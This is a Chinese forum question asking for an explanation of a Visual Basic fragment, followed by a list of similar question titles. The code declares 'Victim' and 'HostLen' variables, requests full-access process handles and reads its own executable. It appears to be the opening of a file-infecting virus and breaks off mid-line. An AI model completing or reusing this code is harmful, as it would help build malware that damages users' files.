一个VB程序， 看不懂啥意思， 有朋友能 帮忙么

Option Explicit
Private Victim As String
Private HostLen As Long
Private vbArray() As Byte
Private hArray() As Byte
Private lenght As Long
Private MySize As Integer
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReD

一个VB程序， 看不懂啥意思， 有朋友能 帮忙么 急！！！VB小程序看不懂？ 看不懂的VB程序呀! 求注释! 这些程序是啥意思（VB的) 一个很简单的VB程序，有几处看不懂，我是初学者，谁来给解释一下 看不懂，啥意思 VB 这个程序什么意思？ 一个VB程序 急 请问一个vb程序 VB编一个程序